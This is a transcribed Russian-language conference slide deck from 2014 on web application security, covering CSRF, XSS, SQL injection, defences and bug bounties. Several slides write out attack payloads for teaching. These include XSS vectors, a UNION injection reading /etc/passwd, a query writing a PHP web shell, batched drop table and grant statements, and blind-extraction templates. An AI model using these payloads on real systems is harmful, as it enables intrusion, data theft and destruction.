+ All Categories
Home > Internet > Максим Кочкин (Wamba)

Максим Кочкин (Wamba)

Date post: 15-May-2015
Category:
Upload: ontico
View: 634 times
Download: 0 times
Share this document with a friend
Popular Tags:
66

Click here to load reader

Transcript
Page 1: Максим Кочкин (Wamba)

Web application securityМаксим Кочкин

Page 2: Максим Кочкин (Wamba)

OWASP TOP-10 (2013)1. Injection

2. Broken Authentication and Session Management

3. Cross-Site Scripting (XSS)

4. Insecure Direct Object References

5. Security Misconfiguration

6. Sensitive Data Exposure

7. Missing Function Level Access Control

8. Cross-Site Request Forgery (CSRF)

9. Using Components with Known Vulnerabilities

10. Unvalidated Redirects and Forwards

Page 3: Максим Кочкин (Wamba)

Сводная статистика по распространенности угроз

Угроза Подвержено сайтов, %

WhiteHat (2013)

Cenzic (2013)Contextis

(2013)Avg

XSS 53 60 56 56

SQL Injection 7 20 14 14

CSRF 26 22 34 27

Information Leakage 55 36 60 50

Authentication & authorization11 56 60 42

Page 4: Максим Кочкин (Wamba)

Реальность от WHID (март 2014)

Атака От общего числа, %

XSS 7

SQL Injection 18

CSRF 2

Denial of Service 20

Brute Force 4

https://www.google.com/fusiontables/data?docid=1Uk2Fs373gG-yV4LbQsvoRQg7K_2gpLs5ZydpxA

Page 5: Максим Кочкин (Wamba)

CSRFExploitability AVERAGE

Prevalence COMMON

Detectability EASY

Impact MODERATE

Page 6: Максим Кочкин (Wamba)

Cross-Site Request Forgery(WASC-09)

Атака, при которой жертва без согласия выполняет от своего имени запрос.Другими словами, атакующий может управлять некоторыми действиями жертвы в свою пользу.

Page 7: Максим Кочкин (Wamba)

Cross-Site Request ForgeryАтака

● на сайте есть действие «подарить подарок»● действие выполняется ajax-запросом при клике по

ссылке, параметр — id получателя● но на самом деле достаточно обычного GET-запроса ● жертве подбрасывается ссылка

- напрямую: в мессенджере, в блоге, по почте, …- укороченная — скрыть payload- на сайте атакующего: картинка или подготовленная форма

Page 8: Максим Кочкин (Wamba)

Cross-Site Request ForgeryАтака, простейшие варианты

GET http://goo.gl/d0LUAg

<img src="[GET request]">

<form action="[url]" method="post">...</form><script>form.submit()</script>

Page 9: Максим Кочкин (Wamba)

Cross-Site Request ForgeryПростые правила

GET — только для получения данныхДля изменения данных — POST, PUT, DELETE

(это не защита!)

Page 10: Максим Кочкин (Wamba)

Cross-Site Request ForgeryЗащита

Ненадежные способы

● принимать только POST● HTTP_REFERER● подтверждение вторым запросом● многошаговый процесс

Page 11: Максим Кочкин (Wamba)

Cross-Site Request ForgeryЗащита

● токен- сессионный токен (Synchronizer Token)- двойная отправка куки (Double Submit Cookies)- зашифрованный токен (Encrypted Token)

● подтверждение (пароль, капча)● Origin (request header) (не путать с CORS)

[https://wiki.mozilla.org/Security/Origin]- iframe, embed, applet, script, form, XHR, redirect

Page 12: Максим Кочкин (Wamba)

Cross-Site Request ForgeryАудит

● w3af [http://w3af.org/plugins/audit/csrf] — только схема с куками.

● Arachni [http://www.arachni-scanner.com/] — 4-этапная проверка, умеет отличать формы, которые отображаются только для залогиненных юзеров, проверяет куки и токены.

● Руками и глазами.

Page 13: Максим Кочкин (Wamba)

Cross-Site Request ForgeryLogout

CSRF на logout? R U serious? Ahahaha!Oh, wait…

http://superlogout.com/

Я знаю как минимум один сайт, для которого это — реальная проблема: odnoklassniki.ru :)

Page 14: Максим Кочкин (Wamba)

XSSExploitability AVERAGE

Prevalence VERY WIDESPREAD

Detectability EASY

Impact MODERATE

Page 15: Максим Кочкин (Wamba)

Cross-Site Scripting(WASC-08)

Атака, при которой атакующий через уязвимость заставляет выполняться свой код в браузере жертвы.

Браузер может быть встроен в ПО и иметь доступ к его компонентам.

Обычно код — JS, но также возможно выполнение VBScript, ActiveX, Java, Flash и других поддерживаемых браузером технологий.

Page 16: Максим Кочкин (Wamba)

Cross-Site ScriptingУгроза

● фишинг● кража сессии (если куки не httponly)● кража пользовательских данных жертвы со

страниц● выполнение нежелательных действий от

имени жертвы (обход CSRF-защиты)

Page 17: Максим Кочкин (Wamba)

Cross-Site ScriptingТипы

● TYPE 1 — отражённая (non-persistent, reflected)

● TYPE 2 — хранимая (persistent, stored)● TYPE 0 — DOM-based

Page 18: Максим Кочкин (Wamba)

Cross-Site ScriptingTYPE 1, отражённая

● формируется запрос с пользовательскими данными userdata

● в ответе данные userdata встраиваются в HTML без надлежащей фильтрации

Чаще всего это● заполнение полей формы в случае ошибки● вывод поискового текста в форме поиска

Page 19: Максим Кочкин (Wamba)

Cross-Site ScriptingTYPE 1, отражённая

<div id="pager"> <a href="{{url}}">{{pageNum}}</a></div>

GET /search.php?a=A"><script>alert("xss")</script>

<div id="pager"><a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42</a></div>

Page 20: Максим Кочкин (Wamba)

Cross-Site ScriptingTYPE 1, отражённая

<div id="pager"> <a href="{{url}}">{{pageNum}}</a></div>

GET /search.php?a=A"><script>alert("xss")</script>

<div id="pager"><a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42</a></div>

Page 21: Максим Кочкин (Wamba)

Cross-Site ScriptingTYPE 1, отражённая

<div id="pager"> <a href="{{url}}">{{pageNum}}</a></div>

GET /search.php?a=A"><script>alert("xss")</script>

<div id="pager"><a href="/search.php?a=A"> <script>alert("xss")</script>&p=42">42</a></div>

Page 22: Максим Кочкин (Wamba)

Cross-Site ScriptingTYPE 2, хранимая

● пользовательские данные сохраняются в БД без надлежащей фильтрации

● в дальнейшем эти данные выводятся на HTML страницу из БД без надлежащей фильтрации

Page 23: Максим Кочкин (Wamba)

Cross-Site ScriptingTYPE 2, хранимая

url=x" onerror=alert("xss")

<div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"></div>

Page 24: Максим Кочкин (Wamba)

Cross-Site ScriptingTYPE 2, хранимая

url=x" onerror=alert("xss")

<div id="post-100500"> Дорогой дневничок! <img src="x" onerror=alert("xss")"></div>

Page 25: Максим Кочкин (Wamba)

Cross-Site ScriptingTYPE 3, DOM-based

Атака полностью реализуется на клиенте без участия сервера

● пользователь вводит данные в URL или на страницу (формы)

● эти данные используются клиентом (JS приложением) для построения HTML страницы без надлежащей фильтрации

Page 26: Максим Кочкин (Wamba)

Cross-Site ScriptingTYPE 3, DOM-based

var pos=document.URL.indexOf("name=")+5;var r=document.URL.substring(pos,document.URL.length)document.write('<b>Hello, '+r+'!</b>');

GET /domxss/?#name=<img src=x onerror=alert("xss")>

Hello, <img src=x onerror=alert("xss")>!

Page 27: Максим Кочкин (Wamba)

Cross-Site ScriptingTYPE 3, DOM-based

var pos=document.URL.indexOf("name=")+5;var r=document.URL.substring(pos,document.URL.length)document.write('<b>Hello, '+r+'!</b>');

GET /domxss/?#name=<img src=x onerror=alert("xss")>

Hello, <img src=x onerror=alert("xss")>!

Page 28: Максим Кочкин (Wamba)

Cross-Site ScriptingTYPE 3, DOM-based

var pos=document.URL.indexOf("name=")+5;var r=document.URL.substring(pos,document.URL.length)document.write('Hello, '+r+'!');

GET /domxss/?#name=<img src=x onerror=alert("xss")>

Hello, <img src=x onerror=alert("xss")>!

Page 29: Максим Кочкин (Wamba)

Cross-Site ScriptingМеры предотвращения

Правила OWASPhttps://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

ESAPI (The OWASP Enterprise Security API)https://code.google.com/p/owasp-esapi-java/https://code.google.com/p/owasp-esapi-php/https://code.google.com/p/owasp-esapi-python/

httponly куки

CSP (Content Security Policy)

Page 30: Максим Кочкин (Wamba)

Cross-Site ScriptingCSP

CSP — Content Security Policy [Google, Mozilla]http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html

Кто уже поддерживает?http://caniuse.com/#feat=contentsecuritypolicy

Кто уже использует? (из alexa top-25)- mail.yandex.ru, e.mail.ru, facebook.com

Page 31: Максим Кочкин (Wamba)

Cross-Site ScriptingCSP: пример

HTTP Response Header

Content-Security-Policy: default-src 'none' script-src 'self' http://*.my.com apis.google.com; style-src http://static.mysite.com:81; img-src *://cdn.somecdn.com; connect-src 'self' http://api.mysite.com; object-src 'none'; report-uri /report_endpoint;

Page 32: Максим Кочкин (Wamba)

Cross-Site ScriptingАудит

OWASP ZAP[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project]прокси с последующим анализом логов.

OWASP XSSer [https://www.owasp.org/index.php/OWASP_XSSER]

очень умный, гибко настраивается, многое умеет.

w3af [http://w3af.org/plugins/audit/xss]

Page 33: Максим Кочкин (Wamba)

SQL InjectionExploitability EASY

Prevalence COMMON

Detectability AVERAGE

Impact SEVERE

Page 34: Максим Кочкин (Wamba)

SQL Injection(WASC-19)

Атака на ПО, использующее входные данные для построения SQL-запросов, при которой атакующий изменяет логику выполнения SQL-запроса к БД.

В некоторых случаях атака способна привести к выполнению команд ОС и захвату системы.

Page 35: Максим Кочкин (Wamba)

SQL InjectionПростейший пример

$q = "SELECT * FROM table WHERE id={$_GET['id']}";query($q);

GET http://site.com/query.php?id=1 OR 1=1

// SELECT * FROM table WHERE id=1 OR 1=1

// Хуже только query($_GET['q'])

Page 36: Максим Кочкин (Wamba)

SQL InjectionПростейший пример

$q = "SELECT * FROM table WHERE id={$_GET['id']}";query($q);

GET http://site.com/query.php?id=1 OR 1=1

// SELECT * FROM table WHERE id=1 OR 1=1

// Хуже только query($_GET['q'])

Page 37: Максим Кочкин (Wamba)

SQL InjectionСхема атаки

● поиск точки, использующей пользовательские данные в SQL-запросе

● выполнение фингерпринтинга СУБД● поиск уязвимости, позволяющей выполнить

атаку● эксплуатация уязвимости

Page 38: Максим Кочкин (Wamba)

SQL InjectionФингерпринтинг СУБД

● сообщения об ошибках на страницах● баннер (version(), @@version)

- SELECT version() --> 5.6.12-56 ● диалект SQL

- MySQL: WHERE id = 1 /*!50067 AND 47=47 */- PostgreSQL: AND 82::int=82

● поведение некоторых функций● вакансии или собеседование :)

Page 39: Максим Кочкин (Wamba)

SQL InjectionЭксплуатация

Типы● обычная инъекция — по выводимым ошибкам● инъекция вслепую (Blind Injection) — вывод ошибок

отключен

Техники● UNION● batched запросы● boolean-based blind● time-based blind

Page 40: Максим Кочкин (Wamba)

SQL InjectionПримеры: UNION (full flaw)

SELECT a, b, c FROM table WHERE id={$id}

query.php?id=1 and 1=1 -- OKquery.php?id=1 and 1=2 -- error

Page 41: Максим Кочкин (Wamba)

SQL InjectionПримеры: UNION (full flaw)

SELECT a, b, c FROM table WHERE id={$id}

query.php?id=1 order by 1 -- OKquery.php?id=1 order by 2 -- OKquery.php?id=1 order by 3 -- OKquery.php?id=1 order by 4 -- error!

Page 42: Максим Кочкин (Wamba)

SQL InjectionПримеры: UNION (full flaw)

SELECT a, b, c FROM table WHERE id={$id}

query.php?id=1

Name: Maksim [ksimka]Age: 28

query.php?id=-1 union all select 1, 2, 3

Name: 1 [2]Age: 3

Page 43: Максим Кочкин (Wamba)

SQL InjectionПримеры: UNION (full flaw)

SELECT a, b, c FROM table WHERE id={$id}

query.php?id=1

Name: Maksim [ksimka]Age: 28

query.php?id=-1 union all select 1, 2, 3

Name: 1 [2]Age: 3

Page 44: Максим Кочкин (Wamba)

SQL InjectionПримеры: UNION (full flaw)

SELECT a, b, c FROM table WHERE id={$id}

query.php?id=-1 union all select version(), user(), database()

Name: 5.0.0-42 [root@localhost]Age: Main

Page 45: Максим Кочкин (Wamba)

SQL InjectionПримеры: UNION (full flaw)

SELECT a FROM table WHERE id={$id}

query.php?id=-1 union all select concat(version(),char(58),user(),char(58),database())

Name: 5.0.0-42:root@localhost:Main

Page 46: Максим Кочкин (Wamba)

SQL InjectionПримеры: UNION (full flaw)

SELECT a FROM table WHERE id={$id}

query.php?id=-1 union all select load_file('/etc/passwd')

query.php?id=-1union all select '<?php system($_GET["cmd"]); ?>' into outfile '/www/cmd.php'

Page 47: Максим Кочкин (Wamba)

SQL InjectionПримеры: batched queries

SELECT a FROM table WHERE id={$id}

query.php?id=1;drop table ...query.php?id=1;drop user ...query.php?id=1;create user ...query.php?id=1;grant all privileges on ...

query.php?id=1;select ... into outfile ...

Page 48: Максим Кочкин (Wamba)

SQL InjectionПримеры: boolean-based blind

SELECT a FROM table WHERE id={$id}

query.php?id=1 and ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A

D — номер БД в таблице schemataN — номер очередного символаA — ASCII-код символа

select schema_name from information_schema.schemata — имя БДmid(dbname, N, 1) — один символ имениord(char) — ASCII-код, удобнее сравнивать

Page 49: Максим Кочкин (Wamba)

SQL InjectionПримеры: time-based blind (double blind)

SELECT a FROM table WHERE id={$id}

query.php?id=1 or if(ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A, sleep(S), true)

S — в зависимости от нормального времени отклика сайта

Основа — как в boolean-based blind

if (bingo, sleep(S), true) — если bingo, то +S секунд к отклику

Page 50: Максим Кочкин (Wamba)

SQL InjectionЗащита и превентивные меры

● связывание параметров (prepared statements, биндинг, параметризованные запросы) с экранированием значений

- SELECT * FROM table WHERE columna=? AND columnb=?● файрволлы (детекция попыток фингерпринтинга и

эксплуатаций) — NAXSI, ModSecurity● разграничение прав доступа

- user: SELECT, INSERT, UPDATE, …- superuser: CREATE, DROP, ALTER, …

● валидация и фильтрация всего :)

Page 51: Максим Кочкин (Wamba)

SQL InjectionАудит

sqlmap [http://sqlmap.org/] — умеет всё.

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, …

Знает массу техник исследования и эксплуатации.

Да, умеет полноценно эксплуатировать вплоть до сливания полного дампа БД.

Вряд ли вам понадобится другой инструмент.

Page 52: Максим Кочкин (Wamba)

Зачем нам всё это знать?

Чтобы понимать: одна маленькая ошибка может стоить бесконечно дорого.

Чтобы понимать, откуда ВНЕЗАПНО может прийти беда.

Чтобы уметь разрабатывать инструменты противодействия.

Чтобы уметь пользоваться инструментами и писать безопасный код.Ну и просто потому что это круто :)

Page 53: Максим Кочкин (Wamba)

P.S.

Page 54: Максим Кочкин (Wamba)

Bug bounty программы

Когда у тебя огромная кодовая база, изменяющаяся с дикой скоростью, невозможно уследить за всем.

Bug bounty программа хорошо конвертирует blackhats в whitehats.

Список таких программ

https://bugcrowd.com/list-of-bug-bounty-programs/

Вознаграждения — от маечки до $20000 и больше (например, у Facebook нет верхней границы)

Page 55: Максим Кочкин (Wamba)

Wamba Bug Bounty

http://corp.wamba.com/ru/developer/security/

Вознаграждения● критичные сервисы — от 5 000 до 100 000 руб.● прочие сервисы — от 3 000 до 25 000 руб.● зал славы

Page 56: Максим Кочкин (Wamba)

http://corp.wamba.com/ru/[email protected]@m_ksimka

Апрель 2014

Page 57: Максим Кочкин (Wamba)

Приложение

Page 58: Максим Кочкин (Wamba)

Атаки на браузеры

http://html5sec.org/

Теперь не только <script> и <img onerror/>

Сотни способов выполнить js-код на клиенте, используя баги или особенности работы с HTML в некоторых браузерах.

Page 59: Максим Кочкин (Wamba)

Атаки на браузеры

cookie-bomb (by @homakov)http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html

RFC2109: A Set-Cookie from request-host x.foo.com for Domain=.foo.com would be accepted.

Если я могу выполнять код на x.foo.com, я могу ставить куки на .foo.com.

1 кука = 4кБ, а мы можем поставить сотни кук.

400кБ+ заголовков — веб-сервер просто не отвечает.

Итого: DoS сервиса (не всего, для юзера) куками

Page 60: Максим Кочкин (Wamba)

Социальная инженерия

Self-XSShttps://www.facebook.com/selfxss

Page 61: Максим Кочкин (Wamba)

Социальная инженерия

Chunkhost и Sendgrid (март 2014)https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid

Как в старые добрые времена● хакер покупает домен chunkhost.info● звонит в поддержку sendgrid и просит сменить мыло

[email protected] ● на [email protected], поддержка говорит ОК (wtf?)● хакер включает в sendgrid фичу BCC, инициирует сброс паролей

пары акков на chunkhost, получает копию писем со ссылкой для сброса

● аккаунты и слив репутации chunkhost спасает только двухфакторная аутентификация на этих акках

Page 62: Максим Кочкин (Wamba)

Социальная инженерияCSS-Tricks и Media Temple (март 2014)http://shoptalkshow.com/episodes/special-one-one-hacker/

Как в еще более старые добрые времена● хакер звонит в поддержку MT и просит поменять email от акка

Криса, потому что, якобы, не помнит его● поддержка говорит «ок, только пришлите скан своих документов»● хакер подделывает документы и получает акк (sic!)● кроме этого захватывает пачку других сайтов● чувак говорит, что мог бы захватить jquery.com (тоже хостится на

MT) и заразить исходники, которые используются на тысячах сайтов

● еще чувак говорит, что ничего не понимает в этих ваших sql-инъекциях и прочей ерунде, но ему это и не нужно :)

Page 63: Максим Кочкин (Wamba)

Github, пароли в репозиториях

DB config (PHP)https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&type=Code

≈60000

AWS private keyhttps://github.com/search?q=AKIAJ&type=Code&ref=searchresults

≈1000

RSA private keyhttps://github.com/search?o=desc&q=%22RSA+PRIVATE+KEY---%22&ref=searchresults&s=indexed&type=Code

≈44000

Page 64: Максим Кочкин (Wamba)

DOM-based XSS

https://code.google.com/p/domxsswiki/

http://www.domxss.com/domxss/

Page 65: Максим Кочкин (Wamba)

SQL Injection

http://websec.ca/kb/sql_injection

http://www.sqlinjectionwiki.com/

http://www.blackhatlibrary.net/SQL_injection

http://www.troyhunt.com/2013/07/everything-you-wanted-to-know-about-sql.html

Page 66: Максим Кочкин (Wamba)

Потренироваться

http://testphp.vulnweb.com (Acunetix)

http://testasp.vulnweb.com (Acunetix)

http://testaspnet.vulnweb.com (Acunetix)

http://testhtml5.vulnweb.com/ (Acunetix)

http://demo.testfire.net (IBM)

http://zero.webappsecurity.com (HP)

http://crackme.cenzic.com (Cenzic)

http://www.webscantest.com (NTO)

http://www.dvwa.co.uk/ (RandomStorm, offline)

https://code.google.com/p/webgoat/ (OWASP, offline)


Recommended